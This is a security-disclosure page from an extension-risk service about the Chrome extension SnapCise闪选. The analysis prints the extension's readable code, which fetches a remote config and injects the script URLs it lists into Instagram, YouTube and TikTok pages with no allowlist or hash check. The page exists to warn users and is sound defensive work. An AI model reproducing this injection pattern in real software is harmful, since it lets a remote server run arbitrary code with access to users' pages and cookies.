Is SnapCise闪选 safe?

Medium risk

SnapCise fetches script URLs from a remote config and injects them into Instagram, YouTube and TikTok pages.

On startup the extension downloads a config file from files.jiayisiyu.com that lists script URLs. Its content script fetches each listed script and runs it inside Instagram, YouTube, TikTok, jia-ai.com and joinyen.com pages, where it has access to the page's DOM and cookies. The script URLs are not checked against an allowlist or integrity hash, so the server controls what runs.

ashestan814v1.0.0Chrome Web Store
49Risk
Who publishes it

ashestan814 - 2 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
ashestan814

Same store account

2 other listings published from this account, 1k+ users between them. 2 of them carry a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote config can inject downloaded scripts into Instagram and TikTok pages

Code analysis shows a remote config file can list script URLs.

The content script downloads each one and runs it as an inline script in Instagram, YouTube and TikTok pages, with no integrity check.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Static analysis
What actually happens
You did this

You open an Instagram, YouTube or TikTok page.

The content script also matches jia-ai.com and joinyen.com.

The extension did this

The extension downloads every script URL named in its remote config and runs it inside the page.

The URL list comes from files.jiayisiyu.com and can be changed without a store update.

Remote config fields that drive script injection
  • Config host
    https://files.jiayisiyu.com/influencer-discovery-configs/config.json

    files.jiayisiyu.com/influencer-discovery-configs/ serves version.json and config.json.

  • injectedScriptUrls

    List of script URLs, as plain strings or objects, fetched and run in the page.

  • host_regex (optional)
    instagram\.com (illustrative)

    If set, the script runs only on pages whose host or URL matches the pattern.

  • Storage key
    dynamic_config_data

    The config is cached in extension storage until the version changes.

The code that does this

Config download and script injection

Readable version

Background: config fetch

assets/background.ts-CNKIKfNq.js
// background service worker// On browser start and on install: poll version.json; if the version differs,// download config.json and store it as chrome.storage.local 'dynamic_config_data'.async function d() {  try {    let e = e => e.startsWith(`http`) ? e : chrome.runtime.getURL(e),      t = e(`https://files.jiayisiyu.com/influencer-discovery-configs/version.json`),      n = e(`https://files.jiayisiyu.com/influencer-discovery-configs/config.json`),      r = await fetch(`${t}?t=${Date.now()}`);    if (!r.ok) throw Error(`HTTP ${r.status}`);    let i = await r.json(),      a = String(i.version),      o = (await chrome.storage.local.get([u]))[u];    if (a !== o) {      let t = await fetch(`${n}?t=${Date.now()}`);      if (!t.ok) throw Error(`HTTP ${t.status}`);      let r = await t.json();      await chrome.storage.local.set({ [u]: a, [l]: r })    }  } catch (e) {}}chrome.runtime.onStartup.addListener(() => { d() }), chrome.runtime.onInstalled.addListener(() => { d() });

Content script: script injection

assets/exportInfluencers-DyXrW9CG.js
// content script (instagram / youtube / tiktok / jia-ai / joinyen pages)// For each entry in config.injectedScriptUrls: an http(s) URL is downloaded as text// and appended as an inline <script>, so it runs in the page's own JS context.// No allowlist, hash or signature is checked on the URL or the downloaded text.async function $r(e) {  for (let t of e) {    let e = typeof t == `string` ? t : t?.url,      n = typeof t == `string` ? `` : t?.host_regex;    if (e) {      if (n) try {        let t = new RegExp(n);        if (!t.test(window.location.host) && !t.test(window.location.href)) continue      } catch (t) { continue }      try {        if (e.startsWith(`http://`) || e.startsWith(`https://`)) {          let t = await (await fetch(e)).text(),            n = document.createElement(`script`);          n.textContent = t, (document.head || document.documentElement).appendChild(n), n.remove()        } else {          let t = document.createElement(`script`),            n = e.startsWith(`/`) ? e.slice(1) : e;          t.src = chrome.runtime.getURL(n), (document.head || document.documentElement).appendChild(t), t.onload = () => t.remove()        }      } catch (t) {}    }  }}async function ei() {  let n = async () => {    let e = t.config?.injectedScriptUrls;    e && Array.isArray(e) && await $r(e)  };  /* runs once the stored config has loaded */}
Hosts involved
    • files.jiayisiyu.com

    Serves the remote config that lists script URLs to inject.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed snapcise闪选 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • files.jiayisiyu.com

    snapcise闪选 sends data to files.jiayisiyu.com. One other extension we have analysed sends data here.

Updated 15 October 2026blkphilmeipmlnkjcclcaiekeiehllod